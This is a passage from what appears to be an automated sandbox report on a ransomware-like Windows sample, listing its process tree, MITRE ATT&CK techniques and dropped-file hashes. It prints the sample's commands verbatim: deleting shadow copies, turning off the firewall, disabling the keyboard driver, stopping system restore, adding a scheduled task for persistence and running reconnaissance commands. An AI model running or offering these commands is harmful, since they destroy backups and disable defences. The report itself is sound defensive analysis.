PID:1120 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5872
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1488
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5224 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:5932
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1516 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:3864
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3184 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2384
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4236 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:1416 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:3360
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3552 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:5320
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4720 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:2420
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\colourblender.io_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5504
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:1648
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:4796
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:5420
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2136
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:924 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:4956
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:3912
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:4124
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:4180
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a20055 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2932
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:2924
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C:\Users\Admin\AppData\Local\Temp\colourblender.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\colourblender.io_hyber.exe1⤵PID:1336
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C:\Users\Admin\AppData\Local\Temp\colourblender.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\colourblender.io_hyber.exe1⤵PID:3508
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:5816
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:1832
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 b17d911a23096958fd1542bf0d18afa64ac13acd84e2ff2a20d9c2cf26c32704
- MD5 a0f76872dc384cb69558dec93f4a8771
- SHA1 61c04f6799fe35b1d2aaebf359a5a4b5f37e6f2b
- SHA512 d4e2a98f5e2198120247f1ac63aac80fd68b13a07512f6f81d616d481b3978485b369340118cdf8d6ffeb2397a2b0ec983f97ee7a32e4203f75d3f2ed1581e51
- SSDEEP 1536:b2Rveo0zwn1+7cRMa3EJtdLaHnEVOrIWoXvcCsRSk94hLd8E1Hdeb:bgvQzwnA81EBOHWXUtkd8E1Hs
- TLSH T156631A378A23FCC5677F3D40F1643D860C883A278770A66CFBC90A5539A6584EF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
- SHA256 a3f3598dbf3fe15473bbc5cbbcb95550195b7581addf58429897f2813316358a
- MD5 01a1b799e8dd17cbb823c7cbcbfebef1
- SHA1 1210ceebde7f380b1402ddd5fbaffbbc2d56a406
- SHA512 1c75a5c48ca08ec393d4ab8cf5532fa46e79f588768a9130a663aa579deb6bda59d2d9c906325c9920786e46e3f3cdefd1f981898b75c37e3389cddc05e4648d
- SSDEEP 1536:72Rveo0zwn1+7cRMa3EJtdLaHnEVOrIWoXvcCsRSk94hLd8E1HdeS:7gvQzwnA81EBOHWXUtkd8E1Hv
- TLSH T121631A778A23FCC5677F3D40F1642C860C883A2B8771A66CFFC50A9539A6584DF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 247B
- SHA256 3f617295a1ac81da0a1288ea2f8c0c4b5a8d930e78657ccd8ad3e43e0055eea0
- MD5 7de3dddcc87a05a7a4ff5e01288419d8
- SHA1 da87b13fc474f889a8d51d204e50ba5dfb3c024e
- SHA512 11866e9b21899e5fa2123d12f4650a4f755aaa1fc16bf8c306633e9be44ef80c0d2ae48ae659cdb07088f61bb92fac9eddefd01637d5c254475f825d44395db5
- TLSH T156D0A78BB24DC6B90001527B81F3CE8CE5E5486D3B5BBEB05AA5DD4E32908D589FA543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 248B
- SHA256 c6407a356f5606678145ac2959c490b4fd9eda9d57967e8ffb0dc64bce7260cd
- MD5 35acbce20b4b5f295737c4f4054b8770
- SHA1 5664b75fe818c9e911a60060fb380e0a770cd113
- SHA512 05cf0478d37f4abd5f0982c44e77aba1a80fbbbe0ef9bc91a132bee0bea30a57dc4ffd37a2ee07bd8691b0d9b7cf514460f02b929d76c2346668499a035c1af4
- TLSH T112D05B8AA14985650001527B80F3CE8CE5D5445D3A5B6E605955DD0E328049549B5542
- MD5 SHA1 SHA512 TLSH